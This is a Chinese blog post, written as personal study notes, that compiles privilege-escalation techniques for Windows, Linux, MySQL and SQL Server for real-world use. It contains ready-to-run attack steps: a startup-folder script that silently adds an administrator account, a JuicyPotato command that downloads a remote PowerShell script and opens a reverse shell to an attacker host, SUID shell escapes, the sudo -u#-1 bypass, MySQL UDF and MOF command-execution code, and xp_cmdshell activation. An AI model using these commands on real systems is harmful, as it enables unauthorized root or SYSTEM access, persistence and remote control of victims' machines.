权限提升姿势

前言


某段时间突然对权限提升感起了兴趣,在各大论坛和大佬们的博客寻找权限提升的姿势,固有了想对提权姿势进行一次系统整理的打算,本篇文章是对权限提升方法的总结,记录自己学习和复现的过程。

windows篇


windows溢出提权

具体步骤

  1. 查看系统补丁信息

    systeminfo

  2. 寻找可用exp

    https://github.com/SecWiki/windows-kernel-exploits
    https://bugs.hacking8.com/tiquan/

  3. 一把梭!

启动项提权

具体步骤

  • 启动项路径:

    C:\Users\{用户名}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

  • 在启动项中创建vbs或bat脚本
    vbs:

    1
    2
    3
    set wshshell=createobject("wscript.shell")  
    a=wshshell.run("cmd.exe /c net user 用户名 密码 /add",0)
    b=wshshell.run("cmd.exe /c net localgroup administrators 用户名 /add",0)

    bat:

    1
    2
    net user 用户名 密码 /add  
    net localgroup administrators 用户名 /add
  • 接下来需要等待机器重启并以较大权限的账号登录,暴力一点可以配合漏洞打蓝屏poc强制重启。

  • bat脚本运行时会有个dos弹一下,vbs不会弹,建议使用vbs脚本

UAC提权(CVE-2019-1388)

漏洞简介

该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。因为用户可以与该UI交互,因此对UI来说紧限制是必须的。否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作。即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。事实上,UAC会话中含有尽可能少的点击操作选项。
利用该漏洞很容易就可以提升权限到SYSTEM

影响范围

按照exp作者的描述,影响范围如下:
Windows 2008r2 7601 link OPENED AS SYSTEM
Windows 2012r2 9600 link OPENED AS SYSTEM
Windows 2016 14393 link OPENED AS SYSTEM
Windows 2019 17763 link NOT opened
Windows 7 SP1 7601 link OPENED AS SYSTEM
Windows 8 9200 link OPENED AS SYSTEM
Windows 8.1 9600 link OPENED AS SYSTEM
Windows 10 1511 10240 link OPENED AS SYSTEM
Windows 10 1607 14393 link OPENED AS SYSTEM
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened

复现准备

复现过程

  • 将EXP传入系统,点击下图中箭头所指的位置

  • 点击颁发者中的超链接

  • 成功弹出ie,此时ie是以system权限开启

  • 页面另存为,输入cmd路径

  • 权限为system

Juicypotato

工具简介

在尝试windows下的一系列提权操作后都没有成功,可以尝试一下烂土豆,这里在吐司上找到一个大佬改写的juicypotato,自动化程度比原版更高,使用起来更简单,配合webshell食用可以说是非常美味。

复现准备

  • 一个有执行权限的webshell

  • 大佬改版后的Juicypotato

复现过程

  • 使用webshell上传烂土豆并执行命令,这里使用powershell做反弹shell

    1
    Juicypotato.exe -p "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://ip/ps.ps1');powercat -c ip -p 444 -e cmd"

linux篇


内核溢出

平常问大佬们linux下的提权,听的最多的就是脏牛一把梭,但是目前实战还没有提成功,固这里简单叙述一下。

具体步骤

定时任务提权

什么是定时任务

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。

  • 通过命令查看
    crontab -l
    注意:只能查看当前用户的定时任务

  • 可以通过以下文件查看现有定时任务
    /etc/crontab
    /var/spool/cron/crontabs
    /etc/cron.*/

提权前提

  • 定时任务以root或高权限用户运行

  • 现有较低权限用户拥有对该定时任务文件的写权限

复现准备

  • 以root身份创建一个定时任务,定时执行py脚本

复现过程

  • 假设我们获取到了一个低权限用户,查看/etc/crontab文件,发现有个以root身份运行的py脚本定时任务

  • 发现可以对该文件进行读写,在py脚本中执行os命令反弹 shell

  • 该定时任务1分钟运行一次,这里等待服务器接收shell即可

suid提权

什么是suid提权

详细介绍可参考 P牛大大的文章 ,简单来说SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

提权过程

  • 查找系统中可使用root权限运行的命令

    1
    2
    3
    find / -user root -perm -4000 -print 2>/dev/null  
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \\;
  • 一些可用于提权的文件

  • Nmap(2.02-5.21)
    nmap –interactive
    !sh

  • find
    touch pentestlab
    find pentestlab -exec whoami \;

  • less/more
    less(more) /etc/passwd
    !/bin/sh

  • vim/vi
    vim.tiny
    :set shell=/bin/sh
    :shell

  • git
    git help config
    !/bin/bash

    印象中还有一些命令可以达到提权的效果,暂时只收集了这些。这里也是提供了一个思路,找到了能以root运行的命令之后可以去翻阅这个命令的相关参数,看能否达到shell交互的效果。

sudo权限绕过(CVE-2019-14287)

感觉这个漏洞实战不太会遇到,不过说不定哪天能中呢 :)

漏洞简介

一般情况下,大多数Linux发行版的Runas规范(/etc /sudoers)都如下图所示,其中定义的ALL关键字将允许admin或sudo组中的用户以目标系统中的任意用户身份来运行命令:

通过将用户ID修改为-1(或未签名的等价用户ID-4294967295)可以绕过该配置文件限制,达到权限提升的效果。

影响范围

sudo < 1.8.28

复现准备

手动配置/etc/sudoers文件,添加内容如下:

表示不允许用户xlxxlx以root身份执行任意命令,也就相当于无法使用sudo命令。

复现过程

  • 查看配置文件是否生效

    提示xlxxlx用户无法以root身份执行whoami

  • 直接上payload
    sudo -u#-1 whoami

Mysql篇


UDF提权

什么是UDF

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

提权过程

udf.dll文件的提取可以参考这篇文章

  • mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
    mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\

  • 通过sql语句创建自定义命令并执行

    1
    2
    create function xxx returns string soname 'udf.dll'  
    select xxx('cmd')

这里使用一个udf提权马进行复现

  • 自动导出udf到目录

  • 创建自定义函数并执行提权操作

MOF

什么是MOF提权

mof提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,我们把想要执行的cmd命令代入mof文件中即可,和linux下的定时任务提权相似。

MOF代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#pragma namespace("\\.\\root\\subscription")

instance of  * * EventFilter as {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From **InstanceModificationEvent "
"Where TargetInstance Isa \"
Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as {
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"此处填入cmd命令\")";
};

instance of __FilterToConsumerBinding {
Consumer = ;
Filter = ;
};

用法

保存为 xxx.mof
然后mysql执行:

1
select load_file('/xxx.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

Sqlserver篇


xp_cmdshell

提权前提

  • 获取sa账号密码,例如查看网站的配置文件conn.asp,config.asp等。

  • 需要开启xp_cmdshell才可执行系统命令

提权过程

  • 开启xp_cmdshell组件

    1
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

  • 如果xp_cmdshell组件被删除,上传xplog70.dll

    1
    EXEC master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll’
  • 执行命令

    1
    EXEC master.dbo.xp_cmdshell 'cmd'

总结


这篇文章记录的提权方法都是较新或者比较经典,对实战有帮助的提权方法,其实还有很多其他的提权方法,碍于没有成功复现不好对提权的难度和利用条件做出判断,后续有机会也会慢慢都收录下。

关注作者公众号,获取更多资源!
赏作者一杯咖啡~